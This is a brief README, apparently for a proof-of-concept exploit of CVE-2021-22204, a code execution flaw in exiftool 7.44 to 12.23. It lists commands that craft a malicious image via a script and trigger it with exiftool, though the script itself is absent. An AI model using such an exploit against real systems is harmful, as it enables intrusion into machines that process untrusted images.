exiftool arbitrary code execution vulnerability
### Vulnerable Version
7.44 ~ 12.23
### Reproduce
```
$ bash craft_a_djvu_exploit.sh 'cal'
$ ./exiftool delicate.jpg
```
### Screenshot

### Reference
[NVD-CVE-2021-22204](https://nvd.nist.gov/vuln/detail/CVE-2021-22204)
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